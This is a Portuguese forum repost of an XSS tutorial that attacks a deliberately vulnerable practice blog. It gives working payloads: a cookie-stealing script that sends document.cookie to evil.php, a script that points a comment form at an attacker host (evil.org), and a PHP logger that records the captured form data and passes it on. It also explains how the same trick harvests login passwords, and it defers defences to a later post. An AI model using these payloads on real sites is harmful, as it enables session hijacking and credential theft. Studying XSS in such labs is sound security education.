Você está na página 1de 9

XSS Injection!!

Achei um otimo artigo sobre XSS, pessoal. muito bom mesmo!

obs: como bloqueado no forum alguns scripts como esses, eu usei eles com espao, entao s tira-los:

Qual a vulnerabilidade web que est na moda?

Bom, com certeza o famoso XSS.

Agora que sites vulnerveis SQL Injection e afins se tornam cada vez mais raros (apesar de ainda existir
muitos ) devido programao mais sria, orientada a objetos, com frameworks, etc, eis que surge uma
nova vulnerabilidade. Cross Site Scripting, ou XSS.

Mas no um ataque novo, como falei, o que est na moda. Desde 1990s que crackers j exploram essa
vulnerabilidade. Ela famosa e temida porque quase todos os gigantes da rede j foram atacados, como o
mecanismo de busca do Google, o Gmail, o Yahoo! Mail, Orkut (principalmente), Facebook, MySpace (tem o
famoso caso do XSS worm [Samy worm][1] que alterou mais de um milho de perfis do myspace numa
noite), etc. E tem ainda um caso bem recente e interessante em que um hacker fez um video e postou no
youtube explorando essa vulnerabilidade no website do presidente Obama. No video ele usa XSS para
redirecionar os usurios do site do Obama para o de Hillary Clinton.

Recomendo sempre dar uma olhada em banco de exploits como milw0rm ou no bugtraq do securityfocus
para estar atualizado nas ltimas vulnerabilidades encontradas em CMSs, bibliotecas, frameworks, etc.

Vamos l, primeiramente vou mostrar um exemplo que no chega a ser uma falha mas mostra como
ocorrem os ataques:

Digamos que um site tenha um mecanismo de busca interna, e essa busca realizada atravs de um
formulrio em que os dados so passados por GET, ou seja, ao buscarmos por realidade somos
redirecionados para a seguinte url:

[Somente usurios registrados podem ver os Links. Clique aqui para se REGISTRAR]
E digamos que na pgina busca.php exiba:

Foram encontrados X resultados para a busca realidade.

isso bem comum, mas se os dados passados para o servidor no forem devidamente tratados a gente
pode brincar, por exemplo:

[Somente usurios registrados podem ver os Links. Clique aqui para se REGISTRAR] busca.php?q=
realidade<script> alert ("hacked by i4k"); </script>

Isto um exemplo simples de alterao externa do cdigo XHTML da pgina, mas agora vamos ver um
ataque mais ofensivo:

Vou mostrar como pode-se usar XSS para roubar uma conta de email ou o login de um portal, por exemplo.

Como exemplo vamos simular um frum ou um blog, onde usurios podem comentar livremente. Eu criei
um script exemplo aqui que simula um blog e um sistema simples de comentrio vulnervel. Uns detalhes
sobre o mini-blog-vulnervel:

* Propositalmente todos que postarem comentrios podem apagar, isto para poder testar vrios tipos de
ataques sem o problema dos testes anteriores.

* Se quiser apagar todos os comentrios de uma nica vez use /tutoriais/XSS/blog_vuln.php?reset=1

* O script em /tutoriais/XSS/evil.php bem simples. Ele apenas grava os seus cookies num arquivo texto.
SE VOCE NO DESEJA QUE SEUS COOKIES FIQUEM GRAVADOS NELE DEPOIS DOS TESTES RODE O SCRIPT EM
/tutoriais/XSS/evil.php?reset=1.

Primeiro apague todos os comentrios que possam ter l. Agora faa um teste simples, por exemplo poste o
seguinte contedo de comentrio:

<script > alert( document. cookie); < /script>

Depois de submeter isto dever exibir seu cookie atual NESTE SITE (j vamos ver isso de perto).

Isso prova que realmente esse pseudo-micro-blog est bem vulnervel. Ento apague esse comentrio e
vamos comear testes mais ofensivos.
Same Origin Policy

Todos os navegadores possuem uma poltica de mesma origem ou, como mais conhecido same-origin-
policy. Isto previne que um DOM ou um script carregado numa origem possa pegar ou alterar propriedades
de um DOM de outra origem. Quando digo DOM, me refiro rvore xhtml ou xml.

Para uma comparao entre permisses entre diferentes origens veja aqui e aqui.

Veja essa segurana dos navegadores na prtica, v at nosso blog e poste o seguinte comentrio:

Citao:

Legal essa notcia.

<script>

var xmlhttp = new XMLHttpRequest();

xmlhttp.open("GET", "http://www.google.com/seach?q=teste");

xmlhttp.send(null);

xmlhttp.onreadystatechange = function(){

if(xmlhttp.readyState==4)

alert(xmlhttp.responseText);

</script>

Se voc usa o IEca use:

xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

Voc ver que isto retornar um alert vazio. Isto por causa do Same Origin Policy, eu no posso requisitar,
muito menos alterar, uma pgina que seja de outra origem. (veja um dos links acima sobre)

Para comprovar isso poste esse comentrio:


Citao:

<script>

var xmlhttp = new XMLHttpRequest();

xmlhttp.open("GET", "http://blog.tiagomoura-design.com.br/index.php");

xmlhttp.send(null);

xmlhttp.onreadystatechange = function(){

if(xmlhttp.readyState==4)

alert(xmlhttp.responseText);

</script>

Provavelmente a requisio ter sucesso e retornar o html no alert. Voc ainda poder alterar o
document.domain para poder aumentar o sua zona de acesso para as requisioes mas o DOM tambm est
incluido nesta poltica, ento voc poderia somente fazer:

document.domain = "tiagomoura-design.com.br";

ou

document.domain = "teste.tiagomoura-design.com.br";

mas no

document.domain = "google.com"; // aqui voc ver "property denied" no firebug

Mas ento como que o hacker obtm as informaes do cliente e redireciona para outro host se existe essa
poltica nos navegadores?

O problema que existem tags html muito teis para a internet que necessitam ter esse acesso externo e
portanto so liberadas pelos navegadores. Essas tags so <SCRIPT>, <FRAME>, <IFRAME>, <IMG>, <A>, etc.

Roubando cookies

Vamos ver isso funcionando, apague os comentrios anteriores e tente o seguinte:


Citao:

< script >

var img = new Image();

img. src= "evil.php?cookie="+escape( document. cookie);

< /script>

Isso far com que o navegador faa uma requisio vlida no src da imagem, mas como o src no uma
imagem vlida (neste exemplo) a tag ficar oculta. No caso a tag IMG faz com que o navegador faa uma
requisio no arquivo evil.php com a variavel GET cookie={seu_cookie}. O script evil.php bem simples,
apenas grava seu cookie num arquivo.txt, seu cdigo pode ser visto aqui. Mas nem era necessrio, s criei
esse script para voces poderem ver os cookies gravados no arquivo cookies.txt, visto que um hacker pode,
se quiser, apenas apontar para um arquivo em branco em algum servidor perdido e passar o cookie das
vitimas tambm por uma varivel, depois s ele ir e ver os logs do server e pronto.

Interessante agora que, todos que acessarem a pgina vulnervel, iro fazer uma conexo com o script
malicioso evil.php e passar seus cookies (desta pgina) por GET para ele. Isso inclui o dono do suposto blog
que poderia acessar o post com o comentrio malicioso enquanto estivesse logado no sistema, sendo
possivel assim talvez o roubo da seo do admin pelo hacker.

XSS Server in the middle??

Man in the middle, ou o Homem no meio um famoso e perigoso ataque. Basicamente, como o nome
sugere, ele faz com que o hacker se posicione entre a vtima e o servidor durante uma conexo.

Main_the_middle

Mas com XSS, se o site estiver vulnervel, pode-se atacar com algo como Server in the middle, rsrs, em
que as requisies que saem de [Somente usurios registrados podem ver os Links. Clique aqui para se
REGISTRAR] vo para [Somente usurios registrados podem ver os Links. Clique aqui para se REGISTRAR] ,
so gravadas (ou mandadas para o o email do hacker) e retornam para [Somente usurios registrados
podem ver os Links. Clique aqui para se REGISTRAR]. Ou seja, o servidor malicioso fica entre a vtima e o site
vulnervel. Isso pode ser feito muito fcil, mas ver um caso usando o nosso blog-vuln:

apague os comentrios

Vamos postar um comentrio que ir alterar o action do formulrio de comentrios para uma URL qualquer,
por exemplo, [Somente usurios registrados podem ver os Links. Clique aqui para se REGISTRAR]

Comentrio malicioso:
Citao:

<script>

window.onload = function() {

var form=document.getElementById("formcomments");

form.action="http://evil.org/pega_comentario.php";

</script>

Humm, muito legal esse artigo.

Usa-se window.onload para esperar o DOM carregar completamente antes de pegar o elemento FORM.

Assim l no site malicioso [Somente usurios registrados podem ver os Links. Clique aqui para se
REGISTRAR] pode-se ter o seguinte script:

Cdigo:

Citao:

<?php

$fp = fopen("comment_" . $_SERVER["REMOTE_ADDR"] . ".log", "a");

$name = $_POST["comment_name"];

$title = $_POST["comment_title"];

$comment = $_POST["comment"];

$str = "";

$str .= "#########################\n";

$str .= "# " . date('d/m/Y H:m:i') . "\n";


$str .= "# Name: " . $name . "\n";

$str .= "# Title: " . $title . "\n";

$str .= "# Comment: \n";

$str .= $comment . "\n";

$str .= "#########################\n\n";

fwrite($fp, $str);

fclose($fp);

/**

* Aqui redirecionamos mais uma vez a vtima

* mas agora para a pgina correta

*/

print "<html><head></head><body>";

print "<form method=\"POST\" action=\"http://blog.tiagomoura-


design.com.br/tutoriais/XSS/blog_vuln.php\" id=\"comentarios\">";

print "<input type=\"hidden\" name=\"comment_name\" id=\"comment_name\" value=\"" . $name . "\"


/>";

print "<input type=\"hidden\" name=\"comment_title\" id=\"comment_title\" value=\"" . $title . "\" />";

print "<textarea name=\"comment\" id=\"comment\" style=\"visibility:hidden;\">". $comment .


"</textarea>";

print "<script
language=\"text/javascript\">document.getElementById(\"comentarios \").submit();</script>";

O final desse script a em cima no est nada bonito n Acontece que atualmente as alternativas para um
redirecionamento mantendo o POST so quase nulas. O RFC-2616, que regulamenta o HTTP/1.1 especifica o
redirecionamento temporrio 307, que mantm a requisio original, mas quando o mtodo da requisio
for diferente de GET ou HEAD h um detalhe:

If the 307 status code is received in response to a request other

than GET or HEAD, the user agent MUST NOT automatically redirect the

request unless it can be confirmed by the user, since this might

change the conditions under which the request was issued.


Ou seja, se usar o redirecionamento temporrio 307 com POST o navegador no dever redirecionar
automaticamente o usurio. A maioria dos navegadores, incluindo as primeiras verses do firefox no
rspeitavam completamente o RFC e redirecionavam o usurio automaticamente mesmo quando a
requisio original fosse por POST. Essa vulnerabilidade foi sanada nas verses mais recentes dos
navegadores. Agora quase todos pedem uma confirmao para o reenvio das informaes ao servidor.

Bom, no ltimo cdigo eu simulei o clique do mouse no submit para reenviar novamente as informaes ao
servidor vulnervel. No sei se existe outra maneira a no ser usando javascript.

claro que um exemplo, apenas para estudo, num ataque real, ao invs do cracker usar XSS para alterar o
action do form de comentrios ele alteraria o action do form de login, por exemplo, assim pegando em
texto plano os usurios e senhas de todos que logassem no frum ou blog.

Esse tipo de ataque se chama XSS persistent, persistente porque o html daquela pgina estar
permanentemente (ou at o webmaster retirar) alterada e far com que todos que acessem sejam vtimas
(dependendo do ataque). XSS non-persistent quando o ataque usado em um campo de busca por
exemplo, e passado uma vtima para pegar seu cookie ou seja l o que for. Assim nesse caso, o script
malicioso no gravado no banco.

XSS Worms

incrvel o perigo e a simplicidade do XSS. Com o aumento das redes sociais, mashups gigantes que
integram 2,3 ou outras grandes redes, etc, um XSS worm pode se espalhar por milhes de pginas em
poucas horas, roubar milhares de senhas, roubar perfis ou simplesmente desorganizar toda a rede.

Se um cracker encontra uma falha de XSS num perfil de um usurio da rede e criar um script que faz com
que quando o dono do perfil acesse a pgina ele infecte (altere) o perfil dos seus amigos da rede, isso vira
uma reao em cadeia que (sobre determinadas circonstancias e o tamanho da rede) s ir acabar com o
shutdown dos servidores, como aconteceu com o MySpace.

Explicao do Samy

Defesa

Bom s falei de atacar, roubar, roubar, enganar com XSS mas e a defesa? Sim, mas este post j est muito
grande. No prximo post quero mostrar e explicar a maioria das tcnicas de defesa para estes ataques, falar
de DoS e DDoS com XSS, clickjacking e se der tempo comear a falar de uma variao muito perigosa do
XSS, que se chama CSRF ou XSRF ou Cross Site Request Forgery. Se XSS normal perigoso, no sei o que
falar do CSRF

At mais.
Crditos: Thiago Moura

Você também pode gostar